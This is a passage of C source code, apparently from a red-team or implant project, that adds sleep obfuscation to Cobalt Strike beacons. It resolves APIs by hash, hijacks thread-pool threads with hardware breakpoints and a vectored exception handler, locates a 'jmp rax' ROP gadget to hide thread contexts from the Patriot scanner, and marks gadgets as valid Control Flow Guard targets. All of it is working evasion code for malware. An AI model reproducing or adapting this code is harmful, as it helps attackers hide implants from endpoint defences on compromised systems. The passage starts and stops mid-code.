VirtualProtect ); 132 | D_API( NtResumeThread ); 133 | D_API( NtCreateEvent ); 134 | D_API( LdrUnloadDll ); 135 | D_API( RtlFreeHeap ); 136 | D_API( LdrLoadDll ); 137 | D_API( NtContinue ); 138 | D_API( SetEvent ); 139 | D_API( NtClose ); 140 | } API ; 141 | 142 | /* API Hashes */ 143 | #define H_API_RTLREMOVEVECTOREDEXCEPTIONHANDLER 0xad1b018e /* RtlRemoveVectoredExceptionHandler */ 144 | #define H_API_RTLADDVECTOREDEXCEPTIONHANDLER 0x2df06c89 /* RtlAddVectoredExceptionHandler */ 145 | #define H_API_NTSIGNALANDWAITFORSINGLEOBJECT 0x78983aed /* NtSignalAndWaitForSingleObject */ 146 | #define H_API_SETPROCESSVALIDCALLTARGETS 0x647d9236 /* SetProcessValidCallTargets */ 147 | #define H_API_NTQUERYINFORMATIONTHREAD 0xf5a0461b /* NtQueryInformationThread */ 148 | #define H_API_LDRGETPROCEDUREADDRESS 0xfce76bb6 /* LdrGetProcedureAddress */ 149 | #define H_API_NTWAITFORSINGLEOBJECT 0xe8ac0c3c /* NtWaitForSingleObject */ 150 | #define H_API_NTQUERYVIRTUALMEMORY 0x10c0e85d /* NtQueryVirtualMemory */ 151 | #define H_API_RTLINITUNICODESTRING 0xef52b589 /* RtlInitUnicodeString */ 152 | #define H_API_RTLCOPYMAPPEDMEMORY 0x5b56b302 /* RtlCopyMappedMemory */ 153 | #define H_API_WAITFORSINGLEOBJECT 0x0df1b3da /* WaitForSingleObject */ 154 | #define H_API_NTGETCONTEXTTHREAD 0x6d22f884 /* NtGetContextThread */ 155 | #define H_API_NTSETCONTEXTTHREAD 0xffa0bf10 /* NtSetContextThread */ 156 | #define H_API_RTLDEREGISTERWAIT 0x961776da /* RtlDeregisterWait */ 157 | #define H_API_RTLCAPTURECONTEXT 0xeba8d910 /* RtlCaptureContext */ 158 | #define H_API_RTLINITANSISTRING 0xa0c8436d /* RtlInitAnsiString */ 159 | #define H_API_NTDUPLICATEOBJECT 0x4441d859 /* NtDuplicateObject */ 160 | #define H_API_NTCREATETHREADEX 0xaf18cfb0 /* NtCreateThreadEx */ 161 | #define H_API_RTLREGISTERWAIT 0x600fe691 /* RtlRegisterWait */ 162 | #define H_API_NTSUSPENDTHREAD 0xe43d93e1 /* NtSuspendThread */ 163 | #define H_API_NTGETNEXTTHREAD 0xa410fb9e /* NtGetNextThread */ 164 | #define H_API_RTLALLOCATEHEAP 0x3be94c5a /* RtlAllocateHeap */ 165 | #define H_API_NTRESUMETHREAD 0x5a4bc3d0 /* NtResumeThread */ 166 | #define H_API_NTCREATEEVENT 0x28d3233d /* NtCreateEvent */ 167 | #define H_API_LDRUNLOADDLL 0xd995c1e6 /* LdrUnloadDll */ 168 | #define H_API_RTLFREEHEAP 0x73a9e4d7 /* RtlFreeHeap */ 169 | #define H_API_NTSETEVENT 0xcb87d8b5 /* NtSetEvent */ 170 | #define H_API_LDRLOADDLL 0x9e456a43 /* LdrLoadDll */ 171 | #define H_API_NTCONTINUE 0xfc3a6c2c /* NtContinue */ 172 | #define H_API_SETEVENT 0x9d7ff713 /* SetEvent */ 173 | #define H_API_NTCLOSE 0x40d6e69d /* NtClose */ 174 | 175 | /* LIB Hashes */ 176 | #define H_LIB_KERNELBASE 0x03ebb38b /* kernelbase.dll */ 177 | #define H_LIB_NTDLL 0x1edab0ed /* ntdll.dll */ 178 | 179 | /* STR Hashes */ 180 | #define H_STR_TPALLOCWAIT 0x3fc54f89 /* TpAllocWait */ 181 | #define H_STR_TEXT 0x0b6ea858 /* .text */ 182 | 183 | /*! 184 | * 185 | * Purpose: 186 | * 187 | * Extracts information about the current thread 188 | * and notifies when ready. Does not return, as 189 | * the new thread will be manipulated to back to 190 | * the new entry. 191 | * 192 | !*/ 193 | static D_SEC( E ) VOID WINAPI ThreadCaptureReturnAddr( _In_ PTHREAD_PARAM Param ) 194 | { 195 | /* Extract the frame address */ 196 | Param->Rsp = C_PTR( U_PTR( __builtin_frame_address( 0 ) ) + sizeof( PVOID ) ); 197 | 198 | /* Notify we can be modified and wait till we can run the modification */ 199 | ( ( __typeof__( NtSignalAndWaitForSingleObject ) * ) PeGetFuncEat( 200 | PebGetModule( H_LIB_NTDLL ), H_API_NTSIGNALANDWAITFORSINGLEOBJECT ) )( 201 | Param->Ev1, Param->Ev2, FALSE, NULL 202 | ); 203 | 204 | }; 205 | 206 | /*! 207 | * 208 | * Purpose: 209 | * 210 | * Get a handle to the thread pool thread so we can 211 | * copy its NT_TIB structure from the leaked RSP 212 | * stack pointer. 213 | * 214 | !*/ 215 | static D_SEC( E ) BOOLEAN GetThreadInfoBlockFromStack( _In_ PVOID Address, _Out_ PNT_TIB InfoBlock ) 216 | { 217 | API Api; 218 | NT_TIB Tib; 219 | CONTEXT Ctx; 220 | CLIENT_ID Cid; 221 | THREAD_TEB_INFORMATION Tti; 222 | MEMORY_BASIC_INFORMATION Mb1; 223 | MEMORY_BASIC_INFORMATION Mb2; 224 | 225 | BOOLEAN Ret = FALSE; 226 | 227 | HANDLE Thd = NULL; 228 | HANDLE Nxt = NULL; 229 | 230 | /* Zero out stack structures */ 231 | RtlSecureZeroMemory( &Api, sizeof( Api ) ); 232 | RtlSecureZeroMemory( &Tib, sizeof( Tib ) ); 233 | RtlSecureZeroMemory( &Ctx, sizeof( Ctx ) ); 234 | RtlSecureZeroMemory( &Cid, sizeof( Cid ) ); 235 | RtlSecureZeroMemory( &Tti, sizeof( Tti ) ); 236 | RtlSecureZeroMemory( &Mb1, sizeof( Mb1 ) ); 237 | RtlSecureZeroMemory( &Mb2, sizeof( Mb2 ) ); 238 | 239 | Api.NtQueryInformationThread = PeGetFuncEat( PebGetModule( H_LIB_NTDLL ), H_API_NTQUERYINFORMATIONTHREAD ); 240 | Api.NtQueryVirtualMemory = PeGetFuncEat( PebGetModule( H_LIB_NTDLL ), H_API_NTQUERYVIRTUALMEMORY ); 241 | Api.NtGetContextThread = PeGetFuncEat( PebGetModule( H_LIB_NTDLL ), H_API_NTGETCONTEXTTHREAD ); 242 | Api.NtDuplicateObject = PeGetFuncEat( PebGetModule( H_LIB_NTDLL ), H_API_NTDUPLICATEOBJECT ); 243 | Api.NtSuspendThread = PeGetFuncEat( PebGetModule( H_LIB_NTDLL ), H_API_NTSUSPENDTHREAD ); 244 | Api.NtGetNextThread = PeGetFuncEat( PebGetModule( H_LIB_NTDLL ), H_API_NTGETNEXTTHREAD ); 245 | Api.NtResumeThread = PeGetFuncEat( PebGetModule( H_LIB_NTDLL ), H_API_NTRESUMETHREAD ); 246 | Api.NtClose = PeGetFuncEat( PebGetModule( H_LIB_NTDLL ), H_API_NTCLOSE ); 247 | 248 | /* Enumerate the entire threads that are available */ 249 | while ( NT_SUCCESS( Api.NtGetNextThread( NtCurrentProcess(), Thd, THREAD_ALL_ACCESS, 0, 0, &Nxt ) ) ) { 250 | /* Do we have a valid thread? */ 251 | if ( Thd != NULL ) { 252 | /* Close it! */ 253 | Api.NtClose( Thd ); 254 | }; 255 | /* Move to next thread */ 256 | Thd = C_PTR( Nxt ); 257 | 258 | /* Setup parameters we want to query */ 259 | Tti.TebOffset = FIELD_OFFSET( TEB, ClientId ); 260 | Tti.BytesToRead = sizeof( CLIENT_ID ); 261 | Tti.TebInformation = C_PTR( &Cid ); 262 | 263 | /* Query Information about the target thread */ 264 | if ( NT_SUCCESS( Api.NtQueryInformationThread( Thd, ThreadTebInformation, &Tti, sizeof( Tti ), NULL ) ) ) { 265 | /* Does not match our current thread? */ 266 | if ( U_PTR( Cid.UniqueThread ) != U_PTR( NtCurrentTeb()->ClientId.UniqueThread ) ) { 267 | /* Suspend the current thread */ 268 | if ( NT_SUCCESS( Api.NtSuspendThread( Thd, NULL ) ) ) { 269 | 270 | Ctx.ContextFlags = CONTEXT_FULL; 271 | 272 | /* Get information about the current thread */ 273 | if ( NT_SUCCESS( Api.NtGetContextThread( Thd, &Ctx ) ) ) { 274 | /* Query information about the RSP */ 275 | if ( NT_SUCCESS( Api.NtQueryVirtualMemory( NtCurrentProcess(), Ctx.Rsp, MemoryBasicInformation, &Mb1, sizeof( Mb1 ), NULL ) ) ) { 276 | /* Query information about the stack leak */ 277 | if ( NT_SUCCESS( Api.NtQueryVirtualMemory( NtCurrentProcess(), Address, MemoryBasicInformation, &Mb2, sizeof( Mb2 ), NULL ) ) ) { 278 | /* Query information about the same region */ 279 | if ( U_PTR( Mb1.AllocationBase ) == U_PTR( Mb2.AllocationBase ) ) { 280 | 281 | /* Setup parameters of what we want to query */ 282 | Tti.TebOffset = FIELD_OFFSET( TEB, NtTib ); 283 | Tti.BytesToRead = sizeof( NT_TIB ); 284 | Tti.TebInformation = C_PTR( InfoBlock ); 285 | 286 | /* Query information about the target thread */ 287 | if ( NT_SUCCESS( Api.NtQueryInformationThread( Thd, ThreadTebInformation, &Tti, sizeof( Tti ), NULL ) ) ) { 288 | /* Status */ 289 | Ret = TRUE ; 290 | }; 291 | }; 292 | }; 293 | }; 294 | }; 295 | /* Resume the current thread */ 296 | Api.NtResumeThread( Thd, NULL ); 297 | }; 298 | }; 299 | }; 300 | /* Did we read it successfully? */ 301 | if ( Ret != FALSE ) { 302 | /* Abort! */ 303 | break; 304 | }; 305 | }; 306 | /* Close the last reference */ 307 | if ( Thd != NULL ) { 308 | /* Close the handle! */ 309 | Api.NtClose( Thd ); 310 | }; 311 | 312 | /* Zero out stack structures */ 313 | RtlSecureZeroMemory( &Api, sizeof( Api ) ); 314 | RtlSecureZeroMemory( &Tib, sizeof( Tib ) ); 315 | RtlSecureZeroMemory( &Ctx, sizeof( Ctx ) ); 316 | RtlSecureZeroMemory( &Cid, sizeof( Cid ) ); 317 | RtlSecureZeroMemory( &Tti, sizeof( Tti ) ); 318 | RtlSecureZeroMemory( &Mb1, sizeof( Mb1 ) ); 319 | RtlSecureZeroMemory( &Mb2, sizeof( Mb2 ) ); 320 | 321 | /* Return */ 322 | return Ret; 323 | }; 324 | 325 | /*! 326 | * 327 | * Purpose: 328 | * 329 | * Locates a jmp rax 0xFF, 0xE0 gadget in memory. 330 | * Used as a means of hiding the CONTEXT structure 331 | * from Patriot. 332 | * 333 | !*/ 334 | static D_SEC( E ) PVOID GetJmpRaxTarget( VOID ) 335 | { 336 | HDE Hde; 337 | 338 | ULONG Ofs = 0; 339 | 340 | PBYTE Ptr = NULL; 341 | PBYTE Pos = NULL; 342 | PIMAGE_DOS_HEADER Dos = NULL; 343 | PIMAGE_NT_HEADERS Nth = NULL; 344 | PIMAGE_SECTION_HEADER Sec = NULL; 345 | 346 | /* Zero out stack structures */ 347 | RtlSecureZeroMemory( &Hde, sizeof( Hde ) ); 348 | 349 | Dos = C_PTR( PebGetModule( H_LIB_NTDLL ) ); 350 | Nth = C_PTR( U_PTR( Dos ) + Dos->e_lfanew ); 351 | Sec = IMAGE_FIRST_SECTION( Nth ); 352 | 353 | /* Enumerate each individual section in memory */ 354 | for ( INT Idx = 0; Idx < Nth->FileHeader.NumberOfSections ; ++Idx ) { 355 | /* Locate the .text section in memory */ 356 | if ( HashString( & Sec[ Idx ].Name, 0 ) == H_STR_TEXT ) { 357 | 358 | Ofs = 0; 359 | Pos = C_PTR( U_PTR( Dos ) + Sec[ Idx ].VirtualAddress ); 360 | 361 | do 362 | { 363 | /* Attempt to disassemble */ 364 | HDE_DISASM( C_PTR( U_PTR( Pos ) + Ofs ), &Hde ); 365 | 366 | /* Did this fail to disassemble? */ 367 | if ( Hde.flags & F_ERROR ) { 368 | /* Couldnt decode? Odd: Move up one byte! */ 369 | Ofs = Ofs + 1; 370 | 371 | /* Restart the loop */ 372 | continue; 373 | }; 374 | 375 | /* Is the instruction the right size? */ 376 | if ( Hde.len == 2 ) { 377 | /* Does the instruction match the correct operand etc? */ 378 | if ( ( ( PBYTE ) ( C_PTR( U_PTR( Pos ) + Ofs ) ) ) [ 0 ] == 0xFF && ( ( PBYTE )( C_PTR( U_PTR( Pos ) + Ofs ) ) ) [ 1 ] == 0xE0 ) { 379 | /* Set the address of the instruction */ 380 | Ptr = C_PTR( U_PTR( Pos ) + Ofs ); 381 | 382 | /* Abort! */ 383 | break; 384 | }; 385 | }; 386 | 387 | /* Increment to next instruction */ 388 | Ofs = Ofs + Hde.len; 389 | } while ( Ofs < Sec[ Idx ].SizeOfRawData ); 390 | 391 | /* Abort! */ 392 | break; 393 | }; 394 | }; 395 | 396 | /* Zero out stack structures */ 397 | RtlSecureZeroMemory( &Hde, sizeof( Hde ) ); 398 | 399 | /* Return Address */ 400 | return C_PTR( Ptr ); 401 | }; 402 | 403 | /*! 404 | * 405 | * Purpose: 406 | * 407 | * Enables a debug breakpoint at the specified addr. 408 | * Uses DR3 to trigger the breakpoint without issue. 409 | * 410 | !*/ 411 | static D_SEC( E ) NTSTATUS EnableBreakpoint( _In_ PVOID Addr ) 412 | { 413 | API Api; 414 | CONTEXT Ctx; 415 | 416 | NTSTATUS Nst = 0; 417 | ULONG_PTR Bit = 0; 418 | ULONG_PTR Msk = 0; 419 | 420 | /* Zero out stack structures */ 421 | RtlSecureZeroMemory( &Api, sizeof( Api ) ); 422 | RtlSecureZeroMemory( &Ctx, sizeof( Ctx ) ); 423 | 424 | Api.NtGetContextThread = PeGetFuncEat( PebGetModule( H_LIB_NTDLL ), H_API_NTGETCONTEXTTHREAD ); 425 | Api.NtSetContextThread = PeGetFuncEat( PebGetModule( H_LIB_NTDLL ), H_API_NTSETCONTEXTTHREAD ); 426 | 427 | Ctx.ContextFlags = CONTEXT_DEBUG_REGISTERS; 428 | 429 | if ( NT_SUCCESS( ( Nst = Api.NtGetContextThread( NtCurrentThread(), &Ctx ) ) ) ) { 430 | /* Set DR3 to the specified address */ 431 | Ctx.Dr3 = U_PTR( Addr ); 432 | 433 | /* Set DR7 */ 434 | Ctx.Dr7 &= ~( 3ULL << ( 16 + 4 * 3 ) ); 435 | Ctx.Dr7 &= ~( 3ULL << ( 18 + 4 * 3 ) ); 436 | Ctx.Dr7 |= 1ULL << ( 2 * 3 ); 437 | 438 | Ctx.ContextFlags = CONTEXT_DEBUG_REGISTERS; 439 | Nst = Api.NtSetContextThread( NtCurrentThread(), &Ctx ); 440 | }; 441 | /* Zero out stack structures */ 442 | RtlSecureZeroMemory( &Api, sizeof( Api ) ); 443 | RtlSecureZeroMemory( &Ctx, sizeof( Ctx ) ); 444 | 445 | /* Status */ 446 | return Nst; 447 | }; 448 | 449 | /*! 450 | * 451 | * Purpose: 452 | * 453 | * Disables DR3 debug register 454 | * 455 | !*/ 456 | 457 | static D_SEC( E ) NTSTATUS RemoveBreakpoint( _In_ PVOID Addr ) 458 | { 459 | API Api; 460 | CONTEXT Ctx; 461 | 462 | NTSTATUS Nst = 0; 463 | ULONG_PTR Msk = 0; 464 | ULONG_PTR Bit = 0; 465 | 466 | /* Zero out stack structures */ 467 | RtlSecureZeroMemory( &Api, sizeof( Api ) ); 468 | RtlSecureZeroMemory( &Ctx, sizeof( Ctx ) ); 469 | 470 | Api.NtGetContextThread = PeGetFuncEat( PebGetModule( H_LIB_NTDLL ), H_API_NTGETCONTEXTTHREAD ); 471 | Api.NtSetContextThread = PeGetFuncEat( PebGetModule( H_LIB_NTDLL ), H_API_NTSETCONTEXTTHREAD ); 472 | 473 | Ctx.ContextFlags = CONTEXT_DEBUG_REGISTERS; 474 | 475 | if ( NT_SUCCESS( ( Nst = Api.NtGetContextThread( NtCurrentThread(), &Ctx ) ) ) ) { 476 | /* Set DR7 */ 477 | Ctx.Dr3 = 0; 478 | Ctx.Dr7 &= ~( 1ULL << ( 2 * 3 ) ); 479 | 480 | Ctx.ContextFlags = CONTEXT_DEBUG_REGISTERS; 481 | Nst = Api.NtSetContextThread( NtCurrentThread(), &Ctx ); 482 | }; 483 | /* Zero out stack structures */ 484 | RtlSecureZeroMemory( &Api, sizeof( Api ) ); 485 | RtlSecureZeroMemory( &Ctx, sizeof( Ctx ) ); 486 | 487 | /* Status */ 488 | return Nst; 489 | }; 490 | 491 | /*! 492 | * 493 | * Purpose: 494 | * 495 | * Modifies TpAllocWait to use a custom thread pool. Inteded to 496 | * act as a hook for the call RtlRegisterWait and redirected to 497 | * with a VEH debugger. 498 | * 499 | !*/ 500 | static D_SEC( E ) NTSTATUS NTAPI TpAllocWaitHook( _Out_ PTP_WAIT **Out, _In_ PTP_WAIT_CALLBACK Callback, _Inout_opt_ PVOID Context, _In_opt_ PTP_CALLBACK_ENVIRON CallbackEnviron ) 501 | { 502 | PTABLE Tbl = NULL; 503 | NTSTATUS Ret = STATUS_UNSUCCESSFUL; 504 | 505 | /* Get a pointer to Table */ 506 | Tbl = C_PTR( G_SYM( Table ) ); 507 | 508 | /* Remove a breakpoint on the ntdll!TpAllocTimer */ 509 | if ( NT_SUCCESS( RemoveBreakpoint( C_PTR( PeGetFuncEat( PebGetModule( H_LIB_NTDLL ), H_STR_TPALLOCWAIT ) ) ) ) ) { 510 | /* Execute TpAllocTimer and swap CallbackEnviron with a replacement */ 511 | Ret = ( ( __typeof__( TpAllocWaitHook ) * ) PeGetFuncEat( PebGetModule( H_LIB_NTDLL ), H_STR_TPALLOCWAIT ) )( 512 | Out, Callback, Context, & Tbl->Table->Debugger.PoolEnv 513 | 514 | ); 515 | }; 516 | 517 | /* Return */ 518 | return Ret; 519 | }; 520 | 521 | /*! 522 | * 523 | * Purpose: 524 | * 525 | * Simple VEH-based debugger that will attempt to redirect all 526 | * calls to TpAllocWork to a hooked version which will insert 527 | * our custom thread pool. 528 | * 529 | !*/ 530 | static D_SEC( E ) LONG WINAPI VehDebugger( _In_ PEXCEPTION_POINTERS ExceptionIf ) 531 | { 532 | DWORD Ret = EXCEPTION_CONTINUE_SEARCH; 533 | PTABLE Tbl = NULL; 534 | 535 | Tbl = C_PTR( G_SYM( Table ) ); 536 | 537 | /* Is the thread where our debugger comes from ? */ 538 | if ( Tbl->Table->ClientId.UniqueThread == NtCurrentTeb()->ClientId.UniqueThread ) { 539 | if ( ExceptionIf->ExceptionRecord->ExceptionCode == EXCEPTION_SINGLE_STEP ) { 540 | if ( U_PTR( ExceptionIf->ExceptionRecord->ExceptionAddress ) == U_PTR( PeGetFuncEat( PebGetModule( H_LIB_NTDLL ), H_STR_TPALLOCWAIT ) ) ) { 541 | /* Redirect TpAllocTimer -> TpAllocTimerHook */ 542 | ExceptionIf->ContextRecord->Rip = U_PTR( G_SYM( TpAllocWaitHook ) ); 543 | }; 544 | /* Notify! */ 545 | Ret = EXCEPTION_CONTINUE_EXECUTION; 546 | }; 547 | }; 548 | 549 | /* Return */ 550 | return Ret; 551 | }; 552 | 553 | /*! 554 | * 555 | * Purpose: 556 | * 557 | * Inserts a breakpoint to force RtlRegisterWait 558 | * to use our thread pool, then calls the func 559 | * as normal. 560 | * 561 | !*/ 562 | static D_SEC( E ) NTSTATUS NTAPI RtlRegisterWaitWrap( 563 | _In_ PHANDLE NewWaitObject, 564 | _In_ HANDLE Object, 565 | _In_ WAITORTIMERCALLBACKFUNC Callback, 566 | _In_ PVOID Context, 567 | _In_ ULONG Milliseconds, 568 | _In_ ULONG Flags 569 | ) 570 | { 571 | HCK_API Api; 572 | PVOID Veh = NULL; 573 | NTSTATUS Nst = STATUS_UNSUCCESSFUL; 574 | 575 | /* Zero out stack structures */ 576 | RtlSecureZeroMemory( &Api, sizeof( Api ) ); 577 | 578 | Api.RtlRemoveVectoredExceptionHandler = PeGetFuncEat( PebGetModule( H_LIB_NTDLL ), H_API_RTLREMOVEVECTOREDEXCEPTIONHANDLER ); 579 | Api.RtlAddVectoredExceptionHandler = PeGetFuncEat( PebGetModule( H_LIB_NTDLL ), H_API_RTLADDVECTOREDEXCEPTIONHANDLER ); 580 | Api.RtlRegisterWait = PeGetFuncEat( PebGetModule( H_LIB_NTDLL ), H_API_RTLREGISTERWAIT ); 581 | 582 | /* Insert a Vectored Exception Handling callback to act as a hooking debugger */ 583 | if ( ( Veh = Api.RtlAddVectoredExceptionHandler( 1, C_PTR( G_SYM( VehDebugger ) ) ) ) != NULL ) { 584 | /* Insert a breakpoint into ntdll!TpAllocWait */ 585 | if ( NT_SUCCESS( EnableBreakpoint( PeGetFuncEat( PebGetModule( H_LIB_NTDLL ), H_STR_TPALLOCWAIT ) ) ) ) { 586 | /* Call the API, which will then 'hooked' */ 587 | Nst = Api.RtlRegisterWait( NewWaitObject, Object, Callback, Context, Milliseconds, Flags ); 588 | 589 | /* 'Remove' the breakpoint */ 590 | RemoveBreakpoint( PeGetFuncEat( PebGetModule( H_LIB_NTDLL ), H_STR_TPALLOCWAIT ) ); 591 | }; 592 | /* Remove the VEH handler */ 593 | Api.RtlRemoveVectoredExceptionHandler( Veh ); 594 | }; 595 | 596 | /* Zero out stack structures */ 597 | RtlSecureZeroMemory( &Api, sizeof( Api ) ); 598 | 599 | /* Status */ 600 | return Nst; 601 | }; 602 | 603 | /*! 604 | * 605 | * Purpose: 606 | * 607 | * Adds a ROP gadget to the CFG exception list to 608 | * permit ROP gadgets from being marked as an 609 | * invalid target. 610 | * 611 | !*/ 612 | static D_SEC( E ) VOID CfgEnableFunc( _In_ PVOID ImageBase, _In_ PVOID Function ) 613 | { 614 | CFG_API Api; 615 | CFG_CALL_TARGET_INFO Cfg; 616 | 617 | SIZE_T Len = 0; 618 | 619 | PVOID Kbs = NULL; 620 | PIMAGE_DOS_HEADER Dos = NULL; 621 | PIMAGE_NT_HEADERS Nth = NULL; 622 | 623 | /* Zero out stack structures */ 624 | RtlSecureZeroMemory( &Api, sizeof( Api ) ); 625 | RtlSecureZeroMemory( &Cfg, sizeof( Cfg ) ); 626 | 627 | Dos = C_PTR( ImageBase ); 628 | Nth = C_PTR( U_PTR( Dos ) + Dos->e_lfanew ); 629 | Len = U_PTR( ( Nth->OptionalHeader.SizeOfImage + 0x1000 - 1 ) &~ ( 0x1000 - 1 ) ); 630 | 631 | if ( ( Kbs = PebGetModule( H_LIB_KERNELBASE ) ) != NULL ) { 632 | Api.SetProcessValidCallTargets = PeGetFuncEat( Kbs, H_API_SETPROCESSVALIDCALLTARGETS ); 633 | 634 | if ( Api.SetProcessValidCallTargets != NULL ) { 635 | Cfg.Flags = CFG_CALL_TARGET_VALID; 636 | Cfg.Offset = U_PTR( Function ) - U_PTR( ImageBase ); 637 | 638 | Api.SetProcessValidCallTargets( NtCurrentProcess(), Dos, Len, 1, &Cfg ); 639 | }; 640 | }; 641 | 642 | /* Zero out stack structures */ 643 | RtlSecureZeroMemory( &Api, sizeof( Api ) ); 644 | RtlSecureZeroMemory( &Cfg, sizeof( Cfg ) ); 645 | }; 646 | 647 | /*! 648 | * 649 | * Purpose: 650 | * 651 | * Uses NightHawk's Obfuscate/Sleep implementation to 652 | * hide traces of Cobalt Strike in memory. Temporary 653 | * version, limited to x86_64 currently. Blocks on a 654 | * 'handle' to wait on. 655 | * 656 | !*/ 657 | static D_SEC( E ) VOID WINAPI ObfSleepFiber( _In_ PFIBER_PARAM Parameter ) 658 | { 659 | API Api; 660 | UCHAR Rnd[ 16 ]; 661 | NT_TIB Oli; 662 | NT_TIB Nwi; 663 | USTRING Key; 664 | USTRING Buf; 665 | CONTEXT Ctx; 666 | ANSI_STRING Ani; 667 | UNICODE_STRING Uni; 668 | 669 | DWORD Prt = 0; 670 | DWORD Del = 0; 671 | SIZE_T XLn = 0; 672 | SIZE_T FLn = 0; 673 | 674 | PVOID Ev1 = NULL; 675 | PVOID Ev2 = NULL; 676 | PVOID Ev3 = NULL; 677 | PVOID Ev4 = NULL; 678 | PVOID K32 = NULL; 679 | PVOID Adv = NULL; 680 | PVOID Img = NULL; 681 | PVOID Que = NULL; 682 | 683 | PVOID Cln = NULL; 684 | PVOID Pol = NULL; 685 | 686 | PVOID Gdg = NULL; 687 | 688 | HANDLE Src = NULL; 689 | PTABLE Tbl = NULL; 690 | PCONTEXT Cap = NULL; 691 | PCONTEXT Beg = NULL; 692 | PCONTEXT Set = NULL; 693 | PCONTEXT Enc = NULL; 694 | PCONTEXT Gt1 = NULL; 695 | PCONTEXT Cp1 = NULL; 696 | PCONTEXT Cp2 = NULL; 697 | PCONTEXT St1 = NULL; 698 | PCONTEXT Sev = NULL; 699 | PCONTEXT Blk = NULL; 700 | PCONTEXT Cp3 = NULL; 701 | PCONTEXT St2 = NULL; 702 | PCONTEXT Dec = NULL; 703 | PCONTEXT Res = NULL; 704 | PCONTEXT End = NULL; 705 | 706 | /* Zero out stack structures */ 707 | RtlSecureZeroMemory( &Api, sizeof( Api ) ); 708 | RtlSecureZeroMemory( &Rnd, sizeof( Rnd ) ); 709 | RtlSecureZeroMemory( &Oli, sizeof( Oli ) ); 710 | RtlSecureZeroMemory( &Nwi, sizeof( Nwi ) ); 711 | RtlSecureZeroMemory( &Key, sizeof( Key ) ); 712 | RtlSecureZeroMemory( &Buf, sizeof( Buf ) ); 713 | RtlSecureZeroMemory( &Ctx, sizeof( Ctx ) ); 714 | RtlSecureZeroMemory( &Ani, sizeof( Ani ) ); 715 | RtlSecureZeroMemory( &Uni, sizeof( Uni ) ); 716 | 717 | Api.NtSignalAndWaitForSingleObject = PeGetFuncEat( PebGetModule( H_LIB_NTDLL ), H_API_NTSIGNALANDWAITFORSINGLEOBJECT ); 718 | Api.LdrGetProcedureAddress = PeGetFuncEat( PebGetModule( H_LIB_NTDLL ), H_API_LDRGETPROCEDUREADDRESS ); 719 | Api.NtWaitForSingleObject = PeGetFuncEat( PebGetModule( H_LIB_NTDLL ), H_API_NTWAITFORSINGLEOBJECT ); 720 | Api.RtlInitUnicodeString = PeGetFuncEat( PebGetModule( H_LIB_NTDLL ), H_API_RTLINITUNICODESTRING ); 721 | Api.RtlCopyMappedMemory = PeGetFuncEat( PebGetModule( H_LIB_NTDLL ), H_API_RTLCOPYMAPPEDMEMORY ); 722 | Api.NtGetContextThread = PeGetFuncEat( PebGetModule( H_LIB_NTDLL ), H_API_NTGETCONTEXTTHREAD ); 723 | Api.NtSetContextThread = PeGetFuncEat( PebGetModule( H_LIB_NTDLL ), H_API_NTSETCONTEXTTHREAD ); 724 | Api.RtlDeregisterWait = PeGetFuncEat( PebGetModule( H_LIB_NTDLL ), H_API_RTLDEREGISTERWAIT ); 725 | Api.RtlCaptureContext = PeGetFuncEat( PebGetModule( H_LIB_NTDLL ), H_API_RTLCAPTURECONTEXT ); 726 | Api.RtlInitAnsiString = PeGetFuncEat( PebGetModule( H_LIB_NTDLL ), H_API_RTLINITANSISTRING ); 727 | Api.NtDuplicateObject = PeGetFuncEat( PebGetModule( H_LIB_NTDLL ), H_API_NTDUPLICATEOBJECT ); 728 | Api.NtGetNextThread = PeGetFuncEat( PebGetModule( H_LIB_NTDLL ), H_API_NTGETNEXTTHREAD ); 729 | Api.RtlAllocateHeap = PeGetFuncEat( PebGetModule( H_LIB_NTDLL ), H_API_RTLALLOCATEHEAP ); 730 | Api.NtResumeThread = PeGetFuncEat( PebGetModule( H_LIB_NTDLL ), H_API_NTRESUMETHREAD ); 731 | Api.NtCreateEvent = PeGetFuncEat( PebGetModule( H_LIB_NTDLL ), H_API_NTCREATEEVENT ); 732 | Api.LdrUnloadDll = PeGetFuncEat( PebGetModule( H_LIB_NTDLL ), H_API_LDRUNLOADDLL ); 733 | Api.RtlFreeHeap = PeGetFuncEat( PebGetModule( H_LIB_NTDLL ), H_API_RTLFREEHEAP ); 734 | Api.LdrLoadDll = PeGetFuncEat( PebGetModule( H_LIB_NTDLL ), H_API_LDRLOADDLL ); 735 | Api.NtContinue = PeGetFuncEat( PebGetModule( H_LIB_NTDLL ), H_API_NTCONTINUE ); 736 | Api.NtClose = PeGetFuncEat( PebGetModule( H_LIB_NTDLL ), H_API_NTCLOSE ); 737 | 738 | /* Load kernel32.dll if it somehow isnt already! */ 739 | Api.RtlInitUnicodeString( &Uni, C_PTR( G_SYM( L"kernel32.dll" ) ) ); 740 | 741 | if ( NT_SUCCESS( Api.LdrLoadDll( NULL, 0, &Uni, &K32 ) ) ) { 742 | 743 | Api.RtlInitUnicodeString( &Uni, C_PTR( G_SYM( L"advapi32.dll" ) ) ); 744 | 745 | if ( NT_SUCCESS( Api.LdrLoadDll( NULL, 0, &Uni, &Adv ) ) ) { 746 | 747 | Api.RtlInitAnsiString( &Ani, C_PTR( G_SYM( "CloseThreadpoolCleanupGroupMembers" ) ) ); 748 | Api.LdrGetProcedureAddress( K32, &Ani, 0, &Api.CloseThreadpoolCleanupGroupMembers ); 749 | 750 | Api.RtlInitAnsiString( &Ani, C_PTR( G_SYM( "CreateThreadpoolCleanupGroup" ) ) ); 751 | Api.LdrGetProcedureAddress( K32, &Ani, 0, &Api.CreateThreadpoolCleanupGroup ); 752 | 753 | Api.RtlInitAnsiString( &Ani, C_PTR( G_SYM( "SetThreadpoolThreadMaximum" ) ) ); 754 | Api.LdrGetProcedureAddress( K32, &Ani, 0, &Api.SetThreadpoolThreadMaximum ); 755 | 756 | Api.RtlInitAnsiString( &Ani, C_PTR( G_SYM( "SetThreadpoolThreadMinimum" ) ) ); 757 | Api.LdrGetProcedureAddress( K32, &Ani, 0, &Api.SetThreadpoolThreadMinimum ); 758 | 759 | Api.RtlInitAnsiString( &Ani, C_PTR( G_SYM( "WaitForSingleObjectEx" ) ) ); 760 | Api.LdrGetProcedureAddress( K32, &Ani, 0, &Api.WaitForSingleObjectEx ); 761 | 762 | Api.RtlInitAnsiString( &Ani, C_PTR( G_SYM( "SystemFunction032" ) ) ); 763 | Api.LdrGetProcedureAddress( Adv, &Ani, 0, &Api.SystemFunction032 ); 764 | 765 | Api.RtlInitAnsiString( &Ani, C_PTR( G_SYM( "CreateThreadpool" ) ) ); 766 | Api.LdrGetProcedureAddress( K32, &Ani, 0, 